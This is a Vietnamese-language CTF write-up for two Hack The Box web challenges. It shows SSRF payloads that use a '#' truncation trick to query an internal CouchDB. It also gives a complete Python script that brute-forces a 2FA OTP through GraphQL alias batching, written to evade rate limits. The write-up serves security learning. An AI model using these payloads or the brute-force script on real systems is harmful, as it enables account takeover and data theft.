---
# System prepended metadata

title: CitiSmart
tags: [CTF_WU]

---

# Hack The System - Bug Bounty CTF

**Lâu rồi không chơi CTF nhưng tiêu đề của giải cũng như các challenge đều lấy từ realworld và các report được accept bounty nên rất sát với những gì diễn ra khi mình thực hiện redteam hằng ngày nên mình quyết định writeup lại**

![image](https://hackmd.io/_uploads/Hybp10zrxx.png)

---

# 1. CitiSmart
![image](https://hackmd.io/_uploads/HJX88PMrlx.png)

## Bug Report #1 - [Expose Hidden Endpoints](https://infosecwriteups.com/javascript-enumeration-for-bug-bounties-expose-hidden-endpoints-secrets-like-a-pro-418c2aec318f)

- Như các cuộc redteam khác thì mình sẽ tìm các hidden api từ js files thông qua các api đã được gọi
![image](https://hackmd.io/_uploads/S1_58vGrlx.png)

- Ta sẽ có được các api sau
![image](https://hackmd.io/_uploads/H1flPwzBlg.png)

```js
let n={endpoints:{
    me:"/api/auth/me",
    login:"/api/auth/login",
    logout:"/api/auth/logout",
    dashboard:"/api/dashboard/endpoints",
    dashboardDelete:"/api/dashboard/endpoints/",
    dashboardData:"/api/dashboard/metrics"
    }
}
```

- Tất cả api đều trả về message: "cookie token is not found"
![image](https://hackmd.io/_uploads/HkUowvMrex.png)

- Thêm `cookie: token=1` header và `GET` method đối với 2 api chính, ta nhận được các response như sau
    - `/api/dashboard/endpoints`: xử lý các endpoint
    ![image](https://hackmd.io/_uploads/Hk7tuPfBeg.png)
    - `/api/dashboard/metrics`: trả về response từ các endpoint đó
    ![image](https://hackmd.io/_uploads/SJWnODMSxg.png)

- Tại api `/api/dashboard/endpoints`, sửa `GET` to `POST` method
![image](https://hackmd.io/_uploads/r1tVUOMHgg.png)

- Các param cần là url, sector, thứ mà đã có sẵn ta dùng luôn
![image](https://hackmd.io/_uploads/rkspL_MSle.png)

## Bug Report #2 - [SSRF](https://cyberweapons.medium.com/internal-port-scanning-via-ssrf-eb248ae6fa7b)

- Từ các response trả về, dễ dàng nhận thấy toàn bộ api có sẵn đều được gọi từ local và có thể tạo được với `POST` request -> SSRF

- Ok, giờ ta sẽ gọi đến 2 url, 1 valid và 1 invalid
![image](https://hackmd.io/_uploads/ByddPdzHxe.png)
![image](https://hackmd.io/_uploads/Sk6dwufHex.png)

- Dễ thấy được khác biệt trong response, ta tiến hành quét local để tìm ra các open port local
![image](https://hackmd.io/_uploads/S12POuMHlx.png)
![image](https://hackmd.io/_uploads/H1WTDdzSgl.png)

- Các port mở là:
```
80	HTTP	Web servers, unencrypted websites
3000	Development servers	Node.js, React, or custom web applications
5000	Flask, APIs	Python Flask or other custom applications
5984	CouchDB vì nó sử dụng HTTP-based API mà 	NoSQL database with HTTP-based API
5986	WinRM	Secure remote management for Windows systems
```
- Port 80 là con web ban đầu
![image](https://hackmd.io/_uploads/H167fKfSxg.png)

- Ta sẽ tập trung vào CouchDB vì nó sử dụng HTTP-based API mà `/api/dashboard/endpoints` chỉ sử dụng được get request

- Như response trả về là 404 vì mặc định request sẽ được nối thêm `/metrics` trên url (dùng burpcollab để xem request được tạo như nào)
- Ta có thể bypass điều này bằng char `#` để loại bỏ hết phần thừa sau url as comment
![image](https://hackmd.io/_uploads/BkkIauGHgl.png)
![image](https://hackmd.io/_uploads/rJyr6dMSxx.png)

- Ok vậy ta sẽ sử dụng `#` với api `/api/dashboard/endpoints`để add các local open port valid và xem response của nó bằng `/api/dashboard/metrics`
![image](https://hackmd.io/_uploads/BJM_AufBeg.png)
![image](https://hackmd.io/_uploads/H1hOC_fSge.png)

- Sử dụng `CouchDB` với usages: https://docs.couchdb.org/en/stable/intro/tour.html

- request
```json
{
    "url": "http://127.0.0.1:5984/_all_dbs/#",
    "sector": "Business District"
}
```
    
- response
    
```js
{
    "Business District":"[\"citismart\"]"
}
```

- request
```json
{
    "url": "http://127.0.0.1:5984/citismart/#",
    "sector": "Business District"
}
```
    
- response
    
```js
{
    "Business District":"{\"db_name\":\"citismart\",\"purge_seq\":\"0-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXIwNDLXMwBCwxygFFMeC5BkOACk_v__fz8rkQGP2qQEIJlUD1SIXx3EzAcQM4lSuwCidj8xahsgaucTcKsDyK3xBO1PUgCpsyeoLpEhSR6iKAsAabRejg\",\"update_seq\":\"212-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXIwNDLXMwBCwxygFFMiQ5L8____sxIv4VGUpAAkk-zB6hjwqXMAqYsnrC4BpK4erI4Rj7o8FiDJ0ACkgErn4zcTonYBRO1-YtQegKi9T4zaBxC1IPdmAQBTuV9i\",\"sizes\":{\"file\":1803578,\"external\":3986,\"active\":124391},\"other\":{\"data_size\":3986},\"doc_del_count\":0,\"doc_count\":3,\"disk_size\":1803578,\"disk_format_version\":7,\"data_size\":124391,\"compact_running\":false,\"cluster\":{\"q\":8,\"n\":1,\"w\":1,\"r\":1},\"instance_start_time\":\"0\"}"
}
```

- request
```json
{
    "url": "http://127.0.0.1:5984/citismart/_all_docs#",
    "sector": "Business District"
}
```
    
- response
    
```js
{
    "Business District":"{\"total_rows\":3,\"offset\":0,\"rows\":[{\"id\":\"FLAG\",\"key\":\"FLAG\",\"value\":{\"rev\":\"1-e886956cd2d9218bac9a1ea9c7a23252\"}},{\"id\":\"monitoring_endpoints\",\"key\":\"monitoring_endpoints\",\"value\":{\"rev\":\"226-1264f4367f7494c5cd90c9efb8da3cae\"}},{\"id\":\"user:citismart_admin\",\"key\":\"user:citismart_admin\",\"value\":{\"rev\":\"1-aeef518bdf6aa63c527378c6f391e289\"}}]}"
}
```

- request
```json
{
    "url": "http://127.0.0.1:5984/citismart/FLAG#",
    "sector": "Business District"
}
```
    
- response
    
```js
{
    "Business District":"{\"_id\":\"FLAG\",\"_rev\":\"1-e886956cd2d9218bac9a1ea9c7a23252\",\"value\":\"HTB{sm4rt_cit1_but_n0t_s3cur3_e019e77a4148a2ac8a6156b8c09821b6}\"}"
}
```

- Và lấy flag `HTB{sm4rt_cit1_but_n0t_s3cur3_e019e77a4148a2ac8a6156b8c09821b6}`

# 2. SpeedNet

![image](https://hackmd.io/_uploads/B1iTR6fHeg.png)
![image](https://hackmd.io/_uploads/BkhCG0MBxx.png)

## Bug Report #1 - [Graphql Introspection](https://infosecwriteups.com/1000-bug-using-simple-graphql-introspection-query-b68da8260877)

- Thực hiện login và thứ đập vào mắt là `/graphql` endpoint và mình nghĩ ngay đến `GraphQL introspection` query sẽ giúp xem được toàn bộ graphql api
![image](https://hackmd.io/_uploads/B1Di7AfBgx.png)

- Payload mình lấy ở đây https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/GraphQL%20Injection
![image](https://hackmd.io/_uploads/B1tJECfHxe.png)

- Đưa api url vào extention InQL và ta có được chi tiết các Graphql Api như sau
![image](https://hackmd.io/_uploads/H1QPrCfBel.png)


## Bug Report #2 - [Hacking Graphql Endpoints](https://inigo.io/blog/defeating_controls_with_alias-based_query_batching)

- Thực hiện đăng ký và đăng nhập
![image](https://hackmd.io/_uploads/HkirURMSeg.png)

- User của ta là user thứ 2, vậy việc cần làm là login đc user 1 với mail `admin@speednet.htb`
![image](https://hackmd.io/_uploads/H1G5LAMBeg.png)

- Ta có chức năng forgot passwd nhưng token reset lại được gửi về mail
![image](https://hackmd.io/_uploads/HkZ0PAzBxg.png)

- Quay lại các Mutations có thấy api gọi là `devForgotPassword`
![image](https://hackmd.io/_uploads/H1FS_0GSee.png)

- Ngay lập tức token được trả về tại response body
![image](https://hackmd.io/_uploads/HyShuAGHxx.png)

- Tiếp đến sử dụng `resetPassword` với token vừa lụm được
![image](https://hackmd.io/_uploads/SJNZYCzrle.png)

- Thành công reset passwd của admin
![image](https://hackmd.io/_uploads/Bk-wtAzBll.png)

- Nhưng account này đã enable 2fa và OTP được gửi về email
![image](https://hackmd.io/_uploads/SkBtYAMBlx.png)

- Chưa thể đoán được dạng OTP nên ta sẽ sử dụng email site với mail là `test@email.htb` đã được dựng sẵn
![image](https://hackmd.io/_uploads/SkuCKRfBgg.png)

- Thực hiện đăng ký account với mail đó và enable 2fa rồi nhận mail
![image](https://hackmd.io/_uploads/r11sq0free.png)

- Vậy độ dài email có độ dài 4 ký tự chữ số và thời gian  hết hạn là 5p - quá thừa để brute force đúng không?
![image](https://hackmd.io/_uploads/ByC1iRMrge.png)

- Intruder otp
![image](https://hackmd.io/_uploads/BJM3s0zrgg.png)

- WAF đã chặn gửi quá nhiều requet trong thời gian ngắn, vậy 5p là không đủ cho 10000 request 
![image](https://hackmd.io/_uploads/HJsb30zSge.png)

## Bug Report #3 - [Graphql Batching](https://hackerone.com/reports/2166697)
## Bug Report #4 - [Alias-based Query Batching](https://inigo.io/blog/defeating_controls_with_alias-based_query_batching)

- GraphQL alias cho phép sử dụng cùng 1 query operation nhiều lần 
![image](https://hackmd.io/_uploads/By_x0RzHlg.png)

- Nhưng vì request data size là có giới hạn nên ta sẽ cần chia nhỏ và delay giữa những lần gửi request. Ở đây mình giảm sức lao động bằng AI

```python3=
import requests
import time

# Configuration
burp0_url = "http://83.136.253.59:51698/graphql"
burp0_headers = {
    "Authorization": "", 
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36", 
    "Content-Type": "application/json", 
    "Accept": "*/*", 
    "Origin": "http://83.136.253.59:51698", 
    "Referer": "http://83.136.253.59:51698/2fa", 
    "Accept-Encoding": "gzip, deflate, br", 
    "Accept-Language": "en-US,en;q=0.9", 
    "Connection": "close"
}

# Token to use
token = "661d4e58-53be-47e6-9097-48efb73c2648"

def create_otp_requests(start, end):
    """Create a list of OTP requests for the given range"""
    requests_list = []
    for i in range(start, end):
        otp = f"{i:04d}"
        request_data = {
            "query": "mutation VerifyTwoFactor($token: String!, $otp: String!) {\n    verifyTwoFactor(token: $token, otp: $otp) {\n        token\n        user {\n            id\n            email\n            firstName\n            lastName\n            address\n            phoneNumber\n            twoFactorAuthEnabled\n        }\n    }\n}", 
            "variables": {"otp": otp, "token": token}
        }
        requests_list.append(request_data)
    return requests_list

def send_batch_request(batch_data, batch_num):
    """Send a batch of 400 requests and check for token"""
    try:
        print(f"Sending batch {batch_num} with {len(batch_data)} requests...")
        resp = requests.post(burp0_url, headers=burp0_headers, json=batch_data, timeout=30)
        if "\"token\":\"ey" in resp.text:
            print(f"🎉 TOKEN FOUND in batch {batch_num}!")
            print(f"Response: {resp.text}")
            
            # Extract the token
            token_value = resp.text.split("\"token\":\"")[1].split("\"")[0]
            print(f"Token: {token_value}")
            return True
        else:
            print(f"Batch {batch_num} completed - no token found")
            return False
    except Exception as e:
        print(f"Error in batch {batch_num}: {e}")
        return False

# Main execution
print("🚀 Starting OTP brute force attack...")
print(f"Target: {burp0_url}")
print(f"Range: 0000-9999 (10000 codes)")
print(f"Batch size: 400 requests per batch")
print(f"Total batches: 25")
print("-" * 50)

# Process in batches of 400
batch_size = 200
total_codes = 10000
found = False

for batch_num in range(1, 26):  # 25 batches total (10000 / 400 = 25)
    if found:
        break
        
    start = (batch_num - 1) * batch_size
    end = min(start + batch_size, total_codes)
    
    print(f"\n📦 Preparing batch {batch_num} (OTP range: {start:04d}-{end-1:04d})")
    
    # Create batch requests
    batch_requests = create_otp_requests(start, end)
    
    # Send batch
    found = send_batch_request(batch_requests, batch_num)
    
    # Small delay between batches to avoid overwhelming the server
    if not found and batch_num < 25:
        print("⏳ Waiting 1 second before next batch...")
        time.sleep(3)

if not found:
    print("\n❌ Attack completed - no valid token found")
else:
    print("\n✅ Attack successful - token retrieved!")
```

- Kết quả thu được sẽ là jwt token của user admin
![image](https://hackmd.io/_uploads/B116yk7Bel.png)

-Truy cập admin và  đi dạo ta sễ thấy flag tại `http://83.136.253.59:51698/billing`
![image](https://hackmd.io/_uploads/B1vVg1mSxx.png)

- Flag `HTB{gr4phql_3xpl01t_1n_a_nutsh3ll_90a867b92f638e8645745cd19d99998c}`